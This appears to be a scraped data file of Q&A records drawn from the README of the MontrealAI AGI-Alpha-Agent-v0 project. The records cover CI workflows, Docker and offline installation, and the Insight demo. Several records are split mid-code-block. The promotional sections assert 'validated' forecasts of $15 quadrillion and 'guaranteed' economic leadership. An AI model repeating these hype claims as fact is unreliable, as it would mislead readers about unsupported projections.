{"id": "gh_0583ebc351d5", "question": "How to: Browser Size Workflow", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "The [📦 Browser Size](.github/workflows/size-check.yml) job ensures the\nInsight archive stays under 500 MiB (with a 750 MiB hard cap). Open **Actions → 📦 Browser Size** and click\n**Run workflow** to start the check. Repository owners can leave `run_token`\nblank. Others must provide the `run_token` that matches the `DISPATCH_TOKEN`\nsecret. The workflow caches pip and npm dependencies using\n`actions/setup-python` and `actions/setup-node`. Node uses `cache-dependency-path` to reference\n`alpha_factory_v1/demos/alpha_agi_insight_v1/insight_browser_v1/package-lock.json`,\n`alpha_factory_v1/core/interface/web_client/package-lock.json`,\n`alpha_factory_v1/core/interface/web_client/staking/package-lock.json` and\n`alpha_factory_v1/demos/alpha_agi_insight_v1/src/interface/web_client/package-lock.json` so repeat runs\nskip redundant downloads and avoid the “Dependencies lock file is not found”\nwarning. `ci.yml` stores these paths in the `NODE_LOCKFILES` environment\nvariable so every `setup-node` step uses the same list. It\napplies the same paths for the tests, docs-build and Docker jobs. It\npreinstalls `numpy`, `pandas`, `pytest` and `PyYAML` so the environment check\npasses without network hiccups. During the run it also updates the\n`browserslist` cache inside\n`alpha_factory_v1/demos/alpha_agi_insight_v1/insight_browser_v1` **and**\n`alpha_factory_v1/core/interface/web_client` using\n`update-browserslist-db` to ensure the generated assets target the latest\nbrowsers. When running offline or if the update fails, set\n`BROWSERSLIST_IGNORE_OLD_DATA=true` to continue without refreshing the cache.\nUpdate the version in `.github/workflows/ci.yml` and rerun\n`npx update-browserslist-db --update-db --yes` whenever dependencies change.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577405"}
{"id": "gh_2c53af67c388", "question": "How to: CI Workflow", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "The [🚀 CI](.github/workflows/ci.yml) job verifies the Insight demo with\nlinting, type checks, unit tests and a Docker build. Open **Actions → 🚀 CI —\nInsight Demo**, select the branch or tag to test in the drop‑down and click\n**Run workflow** to dispatch the pipeline. This\nworkflow has no automatic triggers; only the repository owner can launch it\nmanually from the GitHub UI. Each job begins by verifying the actor matches the\nrepository owner, so non‑owners exit immediately before running the heavy\nsteps. When the owner launches the workflow every job runs.\nBecause the first job checks `${{ github.actor }}` against `${{ github.repository_owner }}`,\nyou must own the repository to run the workflow successfully.\nJobs following the main test stage include `if: always()` so the Windows and\nmacOS smoke tests, documentation build and Docker jobs execute even when the\nlint or unit tests fail. This behavior helps confirm that cross‑platform builds\nand docs generation succeed while debugging failures.\nDependency hashes are fully locked, including `setuptools`, so `pip install -r\nrequirements.lock` succeeds across Python versions. The Windows smoke job now\nbuilds the Insight browser before running tests, ensuring the service worker is\npresent for the cache version check. Browser assets are cached across jobs using\na deterministic hash derived from the expected checksums, so later stages reuse\nthe same files. The docs and Docker jobs automatically fetch any missing assets\nand open a pull request when checksums drift. See\n[CI_WORKFLOW.md](docs/CI_WORKFLOW.md) for a detailed job overview.\nAll Node.js steps pin the same lockfiles via `cache-dependency-path` so\n`actions/setup-node` caches npm packages correctly and avoids \"Dependencies lock\nfile is not found\" warnings. The paths are:\n```\nalpha_factory_v1/demos/alpha_agi_insight_v1/insight_browser_v1/package-lock.json\nalpha_factory_v1/core/interface/web_client/package-lock.json\nalpha_factory_v1/core/interface/web_client/staking/package-lock.json\nalpha_factory_v1/demos/alpha_agi_insight_v1/src/interface/web_client/package-lock.json\n```\nTo publish a release, create a Git tag and run the same workflow on that\ntag. The Docker job pushes the `agi-insight-demo` image to GitHub Container\nRegistry while the deploy stage attaches the built web client archive to a\nGitHub release. If any later step fails the workflow automatically restores\nthe previous `latest` tag to avoid shipping a broken image.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577420"}
{"id": "gh_f6f51ad91fe0", "question": "How to: Build & Test Workflow", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "The [🐳 Build & Test](.github/workflows/build-and-test.yml) job runs linting,\ntests and container builds. Open **Actions → 🐳 Build & Test** and click\n**Run workflow** to start the pipeline. Only the repository owner can run this\nworkflow. Each job verifies the actor first and exits immediately for\nnon‑owners, keeping the rest of the jobs from being skipped.\nSee [ADMIN_ACTIONS.md](docs/ADMIN_ACTIONS.md) for details on the manual\nworkflow restrictions and protected environments.\n\nDocker image tags must use all lowercase characters. The workflow's\n\"Prepare lowercase image name\" step sets `REPO_OWNER_LC` to the lowercased\nrepository owner so tags like `ghcr.io/montrealai` are valid.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577428"}
{"id": "gh_52e6e31cfa88", "question": "How to: CI Quick Start", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "To replicate the CI pipeline locally:\n\n```bash\npython scripts/check_python_deps.py\npython check_env.py --auto-install\npytest --cov --cov-report=xml\npre-commit run --all-files\n```\n\nLaunch the CI workflow manually via **Actions → 🚀 CI — Insight Demo** and click\n**Run workflow** as described in [AGENTS.md](AGENTS.md#starting-the-ci-pipeline).\nThe workflow performs linting, type checks, the full unit test matrix on Python\n3.11, 3.12 and 3.13, Windows and macOS smoke tests, documentation builds, Docker\nbuilds and an optional deploy step for tagged releases.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577436"}
{"id": "gh_031423ef4486", "question": "How to: Verify Docker image signature", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "The release workflow signs the container using [cosign](https://github.com/sigstore/cosign).\nValidate the signature before deploying a new version:\n\n```bash\ncosign verify ghcr.io/montrealai/agi-insight-demo:latest\n```\nSuccessful verification proves the image came from this repository's CI.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577442"}
{"id": "gh_63802db90f67", "question": "How to: or one-click image", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "./run_quickstart.sh\n```\n\nRun `npm run fetch-assets` before `npm install` or executing `./setup.sh` to\ndownload the Insight demo assets. Delete any old `wasm*/` directories or start\nfrom a clean checkout so placeholders are replaced. After fetching, verify the\nfiles with `python scripts/fetch_assets.py --verify-only`. The helper retrieves\nthe official Pyodide runtime from the jsDelivr CDN and the GPT‑2 small\ncheckpoint from Hugging Face.\nOverride `HF_GPT2_BASE_URL` or `PYODIDE_BASE_URL` to use alternate mirrors. See\n[insight_browser_v1/index.md](alpha_factory_v1/demos/alpha_agi_insight_v1/insight_browser_v1/index.md)\nfor a detailed guide. You can also run `python scripts/download_gpt2_small.py`\nto retrieve the model directly:\n\n```bash\npython scripts/download_gpt2_small.py models/", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577451"}
{"id": "gh_76f3d131bbfc", "question": "How to: downloads https://huggingface.co/openai-community/gpt2/resolve/main/pytorch_model.bin ...", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\n\nAs a last resort use `python scripts/download_openai_gpt2.py 124M`.\n\nRequires **Python 3.11–3.13 (<3.14)** and **Docker Compose ≥2.5**.\n\nAlternatively, run the pre-built image directly:\n```bash\ndocker run --pull=always -p 8000:8000 ghcr.io/montrealai/alpha-factory:latest\n```\n\nThe workflow publishes a separate image for each Python version with tags\n`py311`, `py312` and `py313`. Only the Python **3.13** build also\nupdates the `latest` tag so\n`ghcr.io/montrealai/alpha-factory:latest` always refers to the most recent\nPython 3.13 image.\n\n> **Note**\n> The Dockerfiles in this repository pin the base image to Python 3.13.\n> Keep this in sync with the highest Python version listed in the CI\n> matrix when updating workflows.\n\nReplace `latest` with a commit SHA to run that exact build:\n\n```bash\ndocker run --pull=always -p 8000:8000 ghcr.io/montrealai/alpha-factory:\n```\n\nSet `OPENAI_API_KEY` and other required secrets in your environment or `.env`\nbefore launching the container. The orchestrator prints the\n[project disclaimer](docs/DISCLAIMER_SNIPPET.md) when it starts.\n\n**Supported OS:** Ubuntu 22.04+, Debian 12+, macOS 12+ and Windows 11 via\n**WSL 2** (recommended for Windows users). Native Windows paths frequently break\nvolume mounts. Clone this repository inside the WSL file system to avoid these\nissues.\n\n```powershell\nwsl --install\nwsl --set-default-version 2\nwsl --update", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577462"}
{"id": "gh_c82113a22f9c", "question": "How to: enable \"Use the WSL 2 based engine\" in Docker Desktop", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\nClone the repository inside your WSL home directory to avoid path translation errors.\n\nSee [docs/INTRO_BASICS.md](docs/INTRO_BASICS.md) for the bare essentials or\n[docs/QUICKSTART_BASICS.md](docs/QUICKSTART_BASICS.md) for a minimal walkthrough.\n\nWatch the run here: [Quickstart video](docs/assets/quickstart_insight.cast) ·\n[Asciinema link](https://asciinema.org/a/I0uXbfl9SLa6SjocAb8Ik8Mni)\n\nSee the [documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/) for detailed steps and an overview of the project.\nFor a concise high-level picture of how the main pieces fit together, see [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md).", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577470"}
{"id": "gh_a828304c3aec", "question": "How to: **v0.1.0‑alpha**", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "**Official and *pioneering* definition – Meta-Agentic (adj.)**: Describes an agent whose **primary role** is to\n**create, select, evaluate, or re‑configure other agents** and the rules governing their interactions, thereby\nexercising **second‑order agency** over a population of first‑order agents. *The term was **pioneered by\n[Vincent Boucher](https://www.linkedin.com/in/montrealai/), President of MONTREAL.AI**.*\n\n```mermaid\nflowchart TD\n    Insight[\"🎖️ α‑AGI Insight 👁️✨\"]\n    Seeds[\"🌱💫 α-AGI Nova-Seeds 🔐\"]\n    Mark[\"α-AGI MARK 🔮🌌✨\"]\n    Sovereign[\"🎖️ α‑AGI Sovereign 👑✨\"]\n    Biz[\"🌸 α‑AGI Business 👁️✨\"]\n    Market[\"🪐 Marketplace 👁️✨\"]\n    Jobs[\"📜 α‑AGI Jobs 👁️✨\"]\n    Agents[\"👾👾👾🌌👾👾👾 α‑AGI Agents 👁️✨\"]\n    Reservoir[\"💎 α‑AGI Value Reservoir\"]\n    Architect[\"🎖️ α‑AGI Architect 🔱✨\"]\n    Council[\"🔐 α‑AGI Council 👁️✨\"]\n    Nodes[\"🖥️ α‑AGI Nodes 👁️✨\"]\n\n    Insight --> Seeds --> Mark --> Sovereign\n    Sovereign --> Biz --> Market\n    Market -->|spawn| Jobs --> Agents\n    Agents -- success --> Reservoir\n    Jobs -- ΔΣUSD --> Reservoir\n    Reservoir -. reinvest .-> Seeds\n    Reservoir -. fund .-> Market\n    Agents <---> Nodes\n    Architect <--> Sovereign\n    Architect <--> Insight\n    Council --> Sovereign\n```\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577482"}
{"id": "gh_dae70b67089a", "question": "How to: 🎖️ α‑AGI Insight 👁️✨ — Beyond Human Foresight", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Where human foresight reaches its limits, α‑AGI Insight sees beyond. Humanity stands at the precipice of history’s most\nprofound economic transformation. α‑AGI Insight identifies with pinpoint accuracy those sectors poised for imminent\ndisruption by Artificial General Intelligence (AGI). With authoritative and rigorously validated projections estimating\neconomic opportunities surpassing **$15 Quadrillion (15 000 trillion USD)**, today’s strategic anticipation unlocks\nextraordinary economic advantages tomorrow.\n\n* **Precision Forecasting** — Identify and proactively engage critical sectors before AGI disruption.  \n* **First‑Mover Advantage** — Maximize returns through strategic foresight and superior positioning.\nA static demo is available via [GitHub Pages](https://montrealai.github.io/AGI-Alpha-Agent-v0/alpha_agi_insight_v1/).\nSee [Quick Deployment](docs/HOSTING_INSTRUCTIONS.md#quick-deployment) for guidance on building the docs and publishing your own copy.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577494"}
{"id": "gh_56aeae0417bb", "question": "How to: 🎖️ α‑AGI Sovereign 👁️✨ — Autonomous Economic Transformation", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Meta‑Agentic mastery at global scale. α‑AGI Sovereign represents a revolutionary class of autonomous, blockchain‑based\nenterprises deploying advanced Meta‑Agentic frameworks. Through dynamically evolving swarms of intelligent agents, these\nenterprises systematically identify and transform global inefficiencies into measurable economic value (“$AGIALPHA”),\nfundamentally reshaping market dynamics and strategically realigning global economic structures.\n\n* **α‑AGI Marketplace 👁️✨** — Decentralized global platform matching strategic AGI tasks with optimal execution.  \n  * **α‑AGI Jobs 👁️✨** — Autonomous missions precisely targeting identified inefficiencies.  \n  * **α‑AGI Agents 👁️✨** — Adaptive, self‑optimizing intelligent agents executing α‑Jobs, yielding immediate economic\n    returns.\n\nStrategic Edge:\n\n* Decentralized autonomy ensures superior agility and resilience.\n* Strategically validated methodologies guarantee consistent economic leadership.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577504"}
{"id": "gh_60a62e8a4f2c", "question": "How to: Quick Start", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "**Local:** `./quickstart.sh`   |   **Docker:** `docker compose up --build`\n\nAn interactive Colab notebook demonstrates the same zero‑data Insight search loop. Open\n[colab_alpha_agi_insight_v1.ipynb](alpha_factory_v1/demos/alpha_agi_insight_v1/colab_alpha_agi_insight_v1.ipynb) in\nGoogle Colab to try it online.\n\nClone the repository at the `v0.1.0-alpha` tag and run the helper script to start the Insight demo locally:\n\n```bash\ngit clone --branch v0.1.0-alpha https://github.com/MontrealAI/AGI-Alpha-Agent-v0.git\ncd AGI-Alpha-Agent-v0\npython -c \"import alpha_factory_v1; print(alpha_factory_v1.__version__)\"  # prints 0.1.0-alpha\npython check_env.py --auto-install  # may run for several minutes", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577512"}
{"id": "gh_440d080e5734", "question": "How to: Abort with Ctrl+C and rerun with '--timeout 300' to fail fast", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "./quickstart.sh\nRun `pre-commit run --all-files` after the dependencies finish installing.\n```\n\nOffline example using a local wheelhouse:\n\n```bash\nWHEELHOUSE=$(pwd)/wheels AUTO_INSTALL_MISSING=1 ./quickstart.sh\n```\n\nIf the default mirrors are blocked, set `PYODIDE_BASE_URL` or\n`HF_GPT2_BASE_URL` before running `npm run fetch-assets`:\n\n```bash\nexport PYODIDE_BASE_URL=\"https://cdn.jsdelivr.net/pyodide/v0.28.0/full\"\nexport HF_GPT2_BASE_URL=\"https://huggingface.co/openai-community/gpt2/resolve/main\"\nnpm run fetch-assets\n```\n\nOr launch the full stack with Docker:\n\n```bash\ndocker compose up --build\n```", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577521"}
{"id": "gh_bf0253dc4a15", "question": "How to: Minimal Install", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "The default `requirements.txt` pulls in a lean set of packages for the\noffline demos and tests:\n\n```bash\npip install -r requirements.txt\n```", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577526"}
{"id": "gh_1ce2ae318d4f", "question": "How to: Full Feature Install", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Install the heavier extras for finance, graph back‑ends and large\nlanguage models:\n\n```bash\npip install -r alpha_factory_v1/requirements.txt", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577532"}
{"id": "gh_521d12aea3d6", "question": "How to: or set ALPHA_FACTORY_FULL=1 when running `check_env.py --auto-install`", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\n\nDetailed step‑by‑step instructions, including Colab usage,\nare available in the [documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/).\n\nFor advanced options, see the [5‑Minute Quick‑Start](#6-5-minute-quick-start)\nand [Docker Quickstart](#docker-quickstart) sections below.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577538"}
{"id": "gh_37809edcf783", "question": "How to: Running the Insight Demo", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "For the browser-based version, see\n[insight_browser_v1/index.md](alpha_factory_v1/demos/alpha_agi_insight_v1/insight_browser_v1/index.md).\nIt requires **Node.js ≥22.17**. Install the dependencies with\n`npm ci` and build the static assets with `npm run build` before launching.\nThe repository includes a `.nvmrc` file so you can simply run `nvm use` to\nselect the correct Node version.\n\nThe α‑AGI Insight demo ships with an offline‑friendly command line interface.\nAfter installation, launch the official demo via:\n\n```bash\nalpha-agi-insight-v1 --episodes 5", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577546"}
{"id": "gh_3668b5fc2af9", "question": "How to: Or run directly from the package", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "python -m alpha_factory_v1.demos.alpha_agi_insight_v1 --episodes 5\n```\n\nWhen API keys are configured the program automatically uses the OpenAI Agents\nruntime. Otherwise it falls back to the local Meta‑Agentic Tree Search.\nThe orchestrator also cleans up the OpenAI runtime on exit to release resources.\n\nFor production use, invoke the **official demo** which automatically\nchecks the environment, selects the best runtime and optionally starts the\nGoogle ADK gateway:\n\n```bash\nalpha-agi-insight-v1 --episodes 5\n```\n\nThis wrapper transparently falls back to the offline Meta‑Agentic Tree\nSearch when API credentials are absent, ensuring the demo runs anywhere.\n\nFor a guaranteed offline run without external dependencies, use:\n\n```bash\nAGI_INSIGHT_OFFLINE=1 alpha-agi-insight-v1 --episodes 5\n```\n\nSetting ``AGI_INSIGHT_OFFLINE=1`` ensures the search loop never attempts network access.\n\nWhen the host cannot reach the internet the environment checker prints a warning\nand the demos continue in offline mode using any cached data. Optional downloads\nare skipped automatically.\n\nSeveral demos ship with small CSV snapshots for offline mode. These samples\nmirror data from the [demo-assets](https://github.com/MontrealAI/demo-assets)\nrepository and cover roughly March–April 2024.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577556"}
{"id": "gh_a97a51b3cf0d", "question": "How to: Meta-Agentic Tree Search Demo", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "An offline-friendly reference implementation focused on recursive agent-to-agent rewrites lives in\n[meta_agentic_tree_search_v0/README.md](alpha_factory_v1/demos/meta_agentic_tree_search_v0/README.md).\nIt demonstrates the best‑first search behind the other examples and runs without external APIs.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577564"}
{"id": "gh_5030325ba6a7", "question": "How to: Offline Mode", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Follow these steps when working without internet access. See the\n[documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/) for a summary\nof required environment variables.\n\n1. **Build a wheelhouse** on a machine with connectivity:\n   ```bash\n   ./scripts/build_offline_wheels.sh\n   ```\n   The script collects all required wheels under `wheels/`. Copy this\n   directory to the offline host, for example using `scp` or a USB drive:\n   ```bash\n   scp -r wheels user@offline-host:/path/to/AGI-Alpha-Agent-v0/\n   ```\n   Then set the environment variable on the target machine:\n   ```bash\n   export WHEELHOUSE=\"/path/to/AGI-Alpha-Agent-v0/wheels\"\n   ```\n\n2. **Install from the wheelhouse** and verify packages. The setup script\n   automatically uses a `wheels/` directory in the repository root when\n   `WHEELHOUSE` is unset:\n   ```bash\n   AUTO_INSTALL_MISSING=1 ./codex/setup.sh\n   python check_env.py --auto-install --wheelhouse \"$WHEELHOUSE\"\n   pip check\n   ```\n  When network access is unavailable, install packages directly from the\n  wheelhouse:\n```bash\npip install --no-index --find-links \"$WHEELHOUSE\" -r requirements.txt", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577572"}
{"id": "gh_43bae2f74644", "question": "How to: Install demo extras offline", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "pip install --no-index --find-links \"$WHEELHOUSE\" -r \\\n  alpha_factory_v1/demos/era_of_experience/requirements.lock\n```\n `check_env.py` uses the wheels under `$WHEELHOUSE`. Set\n`WHEELHOUSE=\"$WHEELHOUSE\"` when running `pre-commit` or the tests so\ndependencies install from the local cache. See\n[Offline Setup](alpha_factory_v1/scripts/README.md#offline-setup) for more\ndetails. A short reference lives in the\n[documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/). If package installation hangs\nfor more than ten minutes,\n`check_env.py` will time out and suggest using `--wheelhouse` for\noffline installs.\n\nRun the environment check again when the machine is completely\nair‑gapped:\n```bash\npython check_env.py --auto-install --wheelhouse \"$WHEELHOUSE\"\n```\nThis mirrors the instructions in\n[alpha_factory_v1/scripts/README.md](alpha_factory_v1/scripts/README.md#offline-setup).\n\nSee the [documentation](https://montrealai.github.io/AGI-Alpha-Agent-v0/)\nfor a concise summary of the wheelhouse setup.\n\n3. **Download a `.gguf` weight** and set ``LLAMA_MODEL_PATH``:\n   ```bash\n   mkdir -p ~/.cache/llama\n   curl -L -o ~/.cache/llama/TinyLlama-1.1B-Chat-v1.0.Q4_K_M.gguf \\\n     https://huggingface.co/TheBloke/TinyLlama-1.1B-Chat-GGUF/resolve/main/TinyLlama-1.1B-Chat-v1.0.Q4_K_M.gguf\n   export LLAMA_MODEL_PATH=~/.cache/llama/TinyLlama-1.1B-Chat-v1.0.Q4_K_M.gguf\n   ```\n   Common weights and typical CPU throughput:\n\n   | Model | Size | ~tokens/s |\n   |-------|------|-----------|\n   | TinyLlama‑1.1B‑Chat Q4_K_M | 380 MB | ~20 |\n   | Llama‑3‑8B‑Instruct Q4_K_M | 4 GB | ~5 |\n   | Mixtral‑8×7B‑Instruct Q4_0 | 7 GB | ~3 |\n\n   Install `llama-cpp-python` or `ctransformers` to enable offline inference.\n\n4. **Fetch and build the browser assets** (requires **Node.js**) to run the Insight demo fully offline:\n   ```bash\n   cd alpha_factory_v1/demos/alpha_agi_insight_v1/insight_browser_v1\n   npm run fetch-assets\n   npm ci\n   npm run build\n   ```\n   Skipping this step or running without Node.js prevents the service worker\n   from being generated, so offline functionality is limited.\n5. **Bundle Pyodide for offline demos**\n   ```bash\n   make gallery-build\n   ```\n   This command generates the `site/` directory with the Pyodide runtime and demo assets so the browser examples work without a network connection. The service worker caches these files. Use a hard refresh (\nCtrl\n+\nShift\n+\nR\n) or clear site data to pick up new releases.\n\n6. **Skip browser downloads** when running the web demo tests offline:\n   ```bash\n   PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD=1 npm test\n   ```\n\n7. **Enable offline inference** by setting ``AGI_INSIGHT_OFFLINE=1`` in\n   ``.env`` or the environment (ensure `llama-cpp-python` or `ctransformers`\n   is installed).\n\n8. **Disable broadcasting** to avoid network calls:\n   ```bash\n   export AGI_INSIGHT_BROADCAST=0\n   ```\n\n9. **Seed the lineage database** from existing DGM logs using ``--import-dgm``.\n   ```bash\n   python -m alpha_factory_v1.demos.alpha_agi_insight_v1.src.interface.cli \\\n     simulate --import-dgm path/to/dgm/logs\n   ```\n\n   Sample sector definitions live in\n\n   ``alpha_factory_v1/demos/alpha_agi_insight_v1/docs/sectors.sample.json``.\n   Pass this file with ``--sectors-file`` to forecast specific industries.\n\n   The built-in **Sector-Shock-10** dataset ships with the package and is\n   located using ``importlib.resources`` when running the demo. This allows\n   `simulate` to score forecasts even when the repository layout is not\n   available.\n\nExample (using ``--sectors-file`` to customise the simulation):\n\n```bash\nAGI_INSIGHT_OFFLINE=1 AGI_INSIGHT_BROADCAST=0 \\\npython -m alpha_factory_v1.demos.alpha_agi_insight_v1.src.interface.cli simulate \\\n  --curve linear --k 8 --x0 0.0 --llama-model-path \"$LLAMA_MODEL_PATH\" \\\n  --offline --energy 2.0 --entropy 0.5 \\\n  --mut-rate 0.1 --xover-rate 0.5 \\\n  --sectors-file alpha_factory_v1/demos/alpha_agi_insight_v1/docs/sectors.sample.json\n```\n\nProduces output similar to:\n\n```\nOPENAI_API_KEY missing – offline mode enabled\nyear | capability | affected\n-----+------------+---------\n1    | 0.88       |\n2    | 0.98       |\n3    | 1.00       |\n4    | 1.00       |\n5    | 1.00       |\n```", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577596"}
{"id": "gh_f020d01731da", "question": "How to: 🎖️ α‑AGI Architect 👁️✨ — Foundational Operational Blueprint", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Empowering Meta‑Agentic visionaries with strategic infrastructure. At the core of α‑AGI Ascension is α‑AGI Architect —\nthe foundational operational framework for scalable global deployment. Rooted in the groundbreaking “Multi‑Agent AI DAO”\nmodel, α‑AGI Architect delivers immediate, scalable, and adaptive infrastructure ensuring continuous strategic\nevolution.\n\n* Robust feedback loops driving continuous refinement between Sovereign operations and Architect infrastructure.  \n* Engineered for rapid global scalability and strategic responsiveness.\n\n```mermaid\nflowchart TD\n    %% ───────────────────────────  CORE LAYERS  ───────────────────────────\n    A[🚀 🎖️ α-AGI Ascension 🌌]\n    B[🎖️ α-AGI Insight 👁️✨]\n    C[🎖️ α-AGI Sovereign 👁️✨]\n    D[🎖️ α-AGI Marketplace 👁️✨]\n    E[🎖️ α-AGI Jobs 👁️✨]\n    F[🎖️ α-AGI Agents 👁️✨]\n    G[🎖️ α-AGI Architect 👁️✨]\n    V[💎 Infinite Value Reservoir]\n\n    %% ───────────────────────────  PRIMARY FLOWS  ─────────────────────────\n    A --> B\n    B --> C\n    C --> D\n    D --> E\n    D --> F\n    C --> G\n    G -.↺ Continuous optimisation .-> C\n\n    %% ───────────────────────  WEALTH FEEDBACK LOOPS  ─────────────────────\n    E -- Harvest ΔΣUSD --> V\n    F -- Compound returns --> V\n    V -- Reinvest capital --> D\n\n    %% ──────────────────────────────  STYLE  ──────────────────────────────\n    classDef asc     fill:#0f172a,color:#ffffff,font-weight:bold,stroke-width:0px\n   